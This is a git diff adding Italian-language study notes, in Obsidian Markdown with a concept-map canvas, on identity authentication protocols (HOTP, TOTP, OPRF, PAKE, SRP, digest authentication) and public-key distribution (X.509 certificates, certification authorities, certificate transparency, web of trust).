diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/channel binding.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/channel binding.md
new file mode 100644
index 0000000..f81382e
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/channel binding.md	
@@ -0,0 +1 @@
+[[procedura]] per evitare attacchi [[man-in-the-middle]] in [[challenge-response based on public key]] che consiste nel [[problema di firma digitale|firmare]] il [[certificato web]] del [[servizio di autenticazione]] o l'[[identificatore di sessione]] attuale.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/digest authentication.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/digest authentication.md
new file mode 100644
index 0000000..b626144
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/digest authentication.md	
@@ -0,0 +1,5 @@
+[[funzione]] di [[challenge-response based on password]] che passa la password a [[MD5]] prima di inviarla al [[servizio di autenticazione]].
+
+È deprecata per via del suo utilizzo di [[MD5]].
+
+Effettua [[channel binding]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/hash-based one-time password.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/hash-based one-time password.md
new file mode 100644
index 0000000..7f0ae37
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/hash-based one-time password.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["HOTP"]
+---
+
+[[one-time credential]] ideata da [[Initiative for Open Authentication|OATH]] che fa uso di [[HMAC]].
+
+## Funzionamento
+
+1. 🖥️ Il servizio di autenticazione [[challenge-response|sfida]] l'user agent con un [[nonce]].
+2. 👤 L'user agent calcola l'[[HMAC]] con quel [[nonce]] e la sua [[chiave simmetrica]].
+3. 👤 L'user agent [[challenge-response|risponde]] al servizio di autenticazione con il valore calcolato.
+4. 🖥️ Il servizio di autenticazione calcola esso stesso l'[[HMAC]].
+5. 🖥️ Il servizio di autenticazione verifica che l'[[HMAC]] calcolato coincida con quello inviato dall'user agent.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious pseudo-random function.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious pseudo-random function.md
new file mode 100644
index 0000000..e940ab9
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious pseudo-random function.md	
@@ -0,0 +1,17 @@
+---
+aliases: ["OPRF"]
+---
+
+[[funzione]] simile a una [[famiglia di funzioni pseudo-casuali]].
+
+## Funzionamento 
+
+Assumendo l'utilizzo del [[logaritmo discreto su gruppi ciclici primi sugli interi]] con la [[congettura Diffie-Hellman classica]]:
+
+1. 1️⃣ converte il suo input in un elemento del gruppo ciclico $input$.
+2. 1️⃣ seleziona un numero casuale $blinding$.
+3. 1️⃣ rende [[blinded]] il suo input $blindinput = input^{blinding}$.
+4. 1️⃣ invia l'input [[blinded]] a 2️⃣.
+5. 2️⃣ applica la *oblivious pseudo-random function* sull'input di 1️⃣ $blindoutput = blindinput^{secret}$.
+6. 2️⃣ invia l'output [[blinded]] a 1️⃣.
+7. 1️⃣ rende [[blinded|unblinded]] il suo output $output = blindoutput^{blinding^{-1}}$.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious.md
new file mode 100644
index 0000000..cd7cc6a
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious.md	
@@ -0,0 +1 @@
+Caratteristica di una [[funzione]] in grado di operare su dei [[blinded]] [[parametro|input]]  per restituire un [[blinded]] [[risultato|output]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/one-time credential.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/one-time credential.md
new file mode 100644
index 0000000..f576824
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/one-time credential.md	
@@ -0,0 +1,14 @@
+[[credenziale]] che può essere utilizzata una sola volta.
+
+## Vantaggi
+
+- Se intercettata, il danno che può effettuare l'[[avversario]] è ridotto a una singola interazione.
+
+## Svantaggi
+
+- È richiesto più storage per la loro archiviazione.
+
+## Casi d'uso
+
+- Codici di backup
+	- Solitamente usati in autenticazione a più fattori
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/password-based authenticated key exchange.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/password-based authenticated key exchange.md
new file mode 100644
index 0000000..b03f5f1
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/password-based authenticated key exchange.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["PAKE"]
+---
+
+[[Funzione ideale]] di [[challenge-response based on password]] che utilizza la [[password]] per derivare una [[chiave simmetrica]] da usare nella comunicazione tra le due parti.
+
+## Casi d'uso
+
+- Accoppiamento [[Bluetooth]]
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/secure remote password.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/secure remote password.md
new file mode 100644
index 0000000..bfd75eb
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/secure remote password.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["SRP"]
+---
+
+[[protocollo]] di [[augmented password-based key exchange]].
+
+È insicuro, in quanto pubblica il [[salt]].
+
+Utilizza proprietà particolari che gli permettono di utilizzare solamente [[gruppo ciclico di modulo primo|gruppi ciclici di modulo primo]] e non curve ellittiche.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/time-based one-time password.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/time-based one-time password.md
new file mode 100644
index 0000000..0ae625c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/time-based one-time password.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["TOTP"]
+---
+
+[[hash-based one-time password]] ideata da [[Initiative for Open Authentication|OATH]] che utilizza lo [[Unix timestamp]] attuale come [[nonce]]. 
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/★ mappa concettuale.canvas b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/★ mappa concettuale.canvas
new file mode 100644
index 0000000..32772b3
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/★ mappa concettuale.canvas	
@@ -0,0 +1,54 @@
+{
+	"nodes":[
+		{"id":"11f67509ba8326df","x":380,"y":1860,"width":3000,"height":3920,"color":"6","type":"group","label":"Password"},
+		{"type":"group","id":"2c2e5b25d77df3b0","x":380,"y":-380,"width":2840,"height":1560,"color":"6","label":"Common knowledge"},
+		{"type":"group","id":"c8a8d4c7d8eac72f","x":380,"y":1280,"width":2840,"height":440,"color":"6","label":"Public key"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response.md","id":"60f9c5c0523332d1","x":-160,"y":-440,"width":400,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md","id":"895c28bbceb3cb4e","x":-1280,"y":-920,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/basic authentication.md","id":"b6fd9012b1d210ac","x":-1280,"y":-360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/bearer token.md","id":"f4bc3addb579d940","x":-1280,"y":200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/one-time credential.md","id":"9b2b2f1970ce5424","x":-720,"y":-440,"width":400,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on common knowledge.md","id":"7793eae991e8377a","x":400,"y":-360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/hash-based one-time password.md","id":"3059896f3640a73d","x":400,"y":200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/Initiative for Open Authentication.md","id":"2738c5ad1b7240a8","x":680,"y":760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on time.md","id":"4cd87611231fc635","x":960,"y":-360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/time-based one-time password.md","id":"e958ae90a7a96a51","x":960,"y":200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on public key.md","id":"5c07988a655b51d9","x":400,"y":1300,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/channel binding.md","id":"a27dd92d43c6d2ec","x":960,"y":1300,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/challenge-response based on password.md","id":"ac433bbae7f7c317","x":400,"y":1880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/SCRAM authentication.md","id":"74614305c9d2b3c2","x":960,"y":2440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/digest authentication.md","id":"6d7787f288aa3653","x":400,"y":2440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/password-based authenticated key exchange.md","id":"3f9803c3b32c6808","x":1520,"y":2440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/augmented password-based key exchange.md","id":"54b9d36220ce5ad8","x":2080,"y":2440,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/secure remote password.md","id":"b76b072b8af54c97","x":2080,"y":3000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/OPAQUE.md","id":"c9c083af661069f4","x":2640,"y":3000,"width":720,"height":1000},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious pseudo-random function.md","id":"93cb077836edd960","x":2640,"y":4160,"width":720,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/oblivious.md","id":"9e76a4ab50c5f8db","x":2800,"y":4800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/3 - Autenticazione di identità/blinded.md","id":"dbdf88db35b19102","x":2800,"y":5360,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"e276bf043bfa9330","fromNode":"895c28bbceb3cb4e","fromSide":"bottom","toNode":"b6fd9012b1d210ac","toSide":"top","toEnd":"none"},
+		{"id":"277423a0c8f0839f","fromNode":"b6fd9012b1d210ac","fromSide":"bottom","toNode":"f4bc3addb579d940","toSide":"top","toEnd":"none"},
+		{"id":"9920ed07c43ee006","fromNode":"b6fd9012b1d210ac","fromSide":"right","toNode":"9b2b2f1970ce5424","toSide":"left","toEnd":"none"},
+		{"id":"780b4db298fd8469","fromNode":"9b2b2f1970ce5424","fromSide":"right","toNode":"60f9c5c0523332d1","toSide":"left","toEnd":"none"},
+		{"id":"64ad635c2b4c7af0","fromNode":"60f9c5c0523332d1","fromSide":"right","toNode":"7793eae991e8377a","toSide":"left","toEnd":"none"},
+		{"id":"f638b2cfe6136233","fromNode":"7793eae991e8377a","fromSide":"bottom","toNode":"3059896f3640a73d","toSide":"top","toEnd":"none"},
+		{"id":"5060432a2affb2b5","fromNode":"3059896f3640a73d","fromSide":"right","toNode":"e958ae90a7a96a51","toSide":"left","toEnd":"none"},
+		{"id":"09b5ff0a139eccfa","fromNode":"7793eae991e8377a","fromSide":"right","toNode":"4cd87611231fc635","toSide":"left","toEnd":"none"},
+		{"id":"1d46766c0f7eb6ae","fromNode":"4cd87611231fc635","fromSide":"bottom","toNode":"e958ae90a7a96a51","toSide":"top","toEnd":"none"},
+		{"id":"d50e1bb81c0da8a9","fromNode":"2738c5ad1b7240a8","fromSide":"top","toNode":"e958ae90a7a96a51","toSide":"bottom","toEnd":"none"},
+		{"id":"1811bcab44b0d05d","fromNode":"2738c5ad1b7240a8","fromSide":"top","toNode":"3059896f3640a73d","toSide":"bottom","toEnd":"none"},
+		{"id":"bcdb78e5e170eeea","fromNode":"60f9c5c0523332d1","fromSide":"right","toNode":"5c07988a655b51d9","toSide":"left","toEnd":"none"},
+		{"id":"736fe1efcf8cbb60","fromNode":"5c07988a655b51d9","fromSide":"right","toNode":"a27dd92d43c6d2ec","toSide":"left","toEnd":"none"},
+		{"id":"ce784e82ad16ff01","fromNode":"60f9c5c0523332d1","fromSide":"right","toNode":"ac433bbae7f7c317","toSide":"left","toEnd":"none"},
+		{"id":"abee5900af4a853e","fromNode":"ac433bbae7f7c317","fromSide":"bottom","toNode":"6d7787f288aa3653","toSide":"top","toEnd":"none"},
+		{"id":"c5ffc4858e93b6db","fromNode":"ac433bbae7f7c317","fromSide":"bottom","toNode":"74614305c9d2b3c2","toSide":"top","toEnd":"none"},
+		{"id":"7e5ce7941817a817","fromNode":"ac433bbae7f7c317","fromSide":"bottom","toNode":"3f9803c3b32c6808","toSide":"top","toEnd":"none"},
+		{"id":"b486f7522573aa34","fromNode":"ac433bbae7f7c317","fromSide":"bottom","toNode":"54b9d36220ce5ad8","toSide":"top","toEnd":"none"},
+		{"id":"6141e3db483fdf56","fromNode":"54b9d36220ce5ad8","fromSide":"bottom","toNode":"b76b072b8af54c97","toSide":"top"},
+		{"id":"d3b4a0937b915bb7","fromNode":"54b9d36220ce5ad8","fromSide":"bottom","toNode":"c9c083af661069f4","toSide":"top"},
+		{"id":"9a8f03c1d0c214e3","fromNode":"c9c083af661069f4","fromSide":"bottom","toNode":"93cb077836edd960","toSide":"top"},
+		{"id":"0cf07e054830ac81","fromNode":"93cb077836edd960","fromSide":"bottom","toNode":"9e76a4ab50c5f8db","toSide":"top"},
+		{"id":"b705d60cb4500a24","fromNode":"9e76a4ab50c5f8db","fromSide":"bottom","toNode":"dbdf88db35b19102","toSide":"top"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/COSE.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/COSE.md
new file mode 100644
index 0000000..6e6a7a5
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/COSE.md	
@@ -0,0 +1 @@
+[[Framework]] bassato su [[CBOR]] utilizzato per [[serializzazione|serializzare]] [[attestato|attestati]] e [[token]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/JOSE.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/JOSE.md
new file mode 100644
index 0000000..c938e42
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/JOSE.md	
@@ -0,0 +1,3 @@
+[[Framework]] basato su [[JSON]] utilizzato per [[serializzazione|serializzare]] [[attestato|attestati]] e [[token]].
+
+Utilizza [[JSON web token]] come attestati.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md
new file mode 100644
index 0000000..1e5874f
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/OpenPGP web of trust.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["OpenPGP", "PGP", "web of trust"]
+---
+
+Approccio [[decentralizzazione|decentralizzato]] alla [[delegated verification]].
+
+[[grafo]] [[grafo diretto|diretto]] delle relazioni di [[fiducia]] tra alcuni [[user agent]], la cui [[trust anchor]] è l'[[user agent]] che controlla il grafo.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS12.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS12.md
new file mode 100644
index 0000000..8c4a306
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS12.md	
@@ -0,0 +1,3 @@
+# PKCS#12
+
+[[Formato]] utilizzato per [[serializzazione|serializzare]] [[materiale crittografico]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS7 Cryptographic message syntax.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS7 Cryptographic message syntax.md
new file mode 100644
index 0000000..5172df4
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/PKCS7 Cryptographic message syntax.md	
@@ -0,0 +1,3 @@
+# PKCS#7 Cryptographic message syntax
+
+[[Formato]] utilizzato per [[serializzazione|serializzare]] [[attestato|attestati]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/abstract syntax notation one.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/abstract syntax notation one.md
new file mode 100644
index 0000000..9d0b869
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/abstract syntax notation one.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ASN.1"]
+---
+
+[[Linguaggio]] utilizzato per descrivere un [[certificato web|certificato X.509]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/attestato.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/attestato.md
new file mode 100644
index 0000000..8dc92dc
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/attestato.md	
@@ -0,0 +1,4 @@
+---
+aliases: ["attestation"]
+---
+Struttura composta da una [[chiave pubblica]] associata a vari [[metadato|metadati]], come l'[[algoritmo]] utilizzato, il [[periodo di validità]], e informazioni per la [[revoca certificato web]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/audience.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/audience.md
new file mode 100644
index 0000000..8147d18
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/audience.md	
@@ -0,0 +1 @@
+[[claim]] che denota per quale collettivo di [[entità]] è stato rilasciato l'attestato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate revocation list.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate revocation list.md
new file mode 100644
index 0000000..6b37394
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate revocation list.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["CRL"]
+---
+
+Lista di [[certificato web|certificati web]] [[revoca certificato web|revocati]] dalla [[certification authority]] che la controlla.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate sign request.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate sign request.md
new file mode 100644
index 0000000..04b4a1b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate sign request.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["CSR"]
+---
+
+[[attestato]] contenente la [[chiave pubblica]] di una [[entità]].
+
+Può essere inviato alla [[certification authority]] per richiederne la conversione a un vero e proprio [[certificato web]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate transparency.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate transparency.md
new file mode 100644
index 0000000..5f6ca1d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificate transparency.md	
@@ -0,0 +1,21 @@
+---
+aliases: ["SCT"]
+---
+
+[[procedura]] che deve essere seguita dalle [[certification authority]] che richiede che l'elenco dei [[certificato web|certificati web]] rilasciati sia consultabile da chiunque.
+
+## Ruoli
+
+Si identificano i seguenti ruoli in un sistema di *certificate transparency*:
+- ***logger***: raccoglie l'elenco di tutti i certificati emessi
+- ***monitor***: accede ai log e verifica l'assenza di anomalie generali nell'emissione di certificati
+- ***auditor***: accede ai log e verifica l'assenza di anomalie specifiche all'emissione di certi certificati
+- ***issuer***: emette certificati segnandoli sui log 
+- ***owner***: riceve certificati e li utilizza
+- ***client***: verificano la presenza dei certificati necessari nei log
+
+
+## #Extra Vedi anche
+
+- [Certificate Transparency](https://certificate.transparency.dev/)
+- [RFC 6962](https://www.rfc-editor.org/rfc/rfc6962)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certification authority.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certification authority.md
new file mode 100644
index 0000000..3e60603
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certification authority.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["certificate authority", "CA"]
+---
+
+[[user agent]] con poteri di [[trust anchor]] che [[firma digitale|firma]] e rilascia [[attestato|attestati]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md
new file mode 100644
index 0000000..b1adff9
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/certificato web.md	
@@ -0,0 +1,14 @@
+---
+aliases: ["web certificate", "certificato X.509", "X.509 certificate"]
+---
+
+[[attestato]] utilizzato per l'[[autenticazione di identità]] del [[server]] in [[HTTPS]], contenente: 
+
+- versione del formato
+- [[issuer]]
+- [[distinguished name]]
+- numero di serie [[unicità|univoco]]
+- [[periodo di validità]] di massimo 1 anno
+- [[tipo di certificato web]]
+- informazioni sui protocolli utilizzati
+- informazioni sugli endpoint di [[revoca certificato web|revoca]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/claim.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/claim.md
new file mode 100644
index 0000000..ad885e3
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/claim.md	
@@ -0,0 +1 @@
+[[Metadato]] di un [[attestato]] che descrive *come* esso può essere usato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/creazione di un certificato web.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/creazione di un certificato web.md
new file mode 100644
index 0000000..96b1900
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/creazione di un certificato web.md	
@@ -0,0 +1,7 @@
+[[Procedura]] attraverso la quale viene creato un [[certificato web]].
+
+1. L'[[entità]] che desidera un certificato genera una [[coppia di chiavi]].
+2. L'[[entità]] crea e firma una [[certificate sign request]] usando la precedente coppia.
+3. L'[[entità]] invia la [[certificate sign request]] alla [[certification authority]].
+4. La [[certification authority]] verifica la [[certificate sign request]] e i suoi contenuti.
+5. La [[certification authority]] emette il [[certificato web]], e lo invia all'[[entità]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/delegated verification.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/delegated verification.md
new file mode 100644
index 0000000..f0cb035
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/delegated verification.md	
@@ -0,0 +1,3 @@
+[[soluzione]] al problema di [[distribuzione chiavi pubbliche]] in cui si fa uso della [[fiducia transitiva]] per determinare se fidarsi o no di una data [[chiave pubblica]].
+
+Offre ottima [[scalabilità]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/denial-of-service attack.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/denial-of-service attack.md
new file mode 100644
index 0000000..13f6c3c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/denial-of-service attack.md	
@@ -0,0 +1 @@
+[[Attacco]] in cui l'[[avversario]] impedisce che i suoi bersagli accedano a un dato [[asset]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished encoding rules.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished encoding rules.md
new file mode 100644
index 0000000..7b76c9d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished encoding rules.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["DER"]
+---
+
+[[Formato]] utilizzato per [[serializzazione|serializzare]] un [[certificato web]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished name.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished name.md
new file mode 100644
index 0000000..58879cd
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distinguished name.md	
@@ -0,0 +1 @@
+Campo che denota l'[[entità]] che il [[certificato web]] associa alla chiave pubblica.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distribuzione chiavi pubbliche.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distribuzione chiavi pubbliche.md
new file mode 100644
index 0000000..f8bf538
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/distribuzione chiavi pubbliche.md	
@@ -0,0 +1 @@
+[[Problema]] in cui si vuole fare avere a ogni [[user agent]] la [[chiave pubblica]] che identifica correttamente le [[entità]] con cui vuole comunicare.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/domain validation.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/domain validation.md
new file mode 100644
index 0000000..05ea01b
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/domain validation.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["domain validated certificate", "DV"]
+---
+
+[[tipo di certificato web]] che certifica che l'[[entità]] che lo possiede controlla il [[dominio DNS]]
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/extended validation.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/extended validation.md
new file mode 100644
index 0000000..cb4449d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/extended validation.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["extended validated certificate", "EV"]
+---
+
+[[tipo di certificato web]] che certifica che l'[[identità]] dell'[[entità]] che lo possiede è stata verificata manualmente dalla [[certification authority]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/fiducia transitiva.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/fiducia transitiva.md
new file mode 100644
index 0000000..8e2783f
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/fiducia transitiva.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["transitive trust"]
+---
+
+Applicazione della [[proprietà transitiva]] alla [[fiducia]].
+
+> Se io mi fido di Alice, e Alice si fida di Bob, allora anche io mi posso fidare di Bob!
\ No newline at end of file
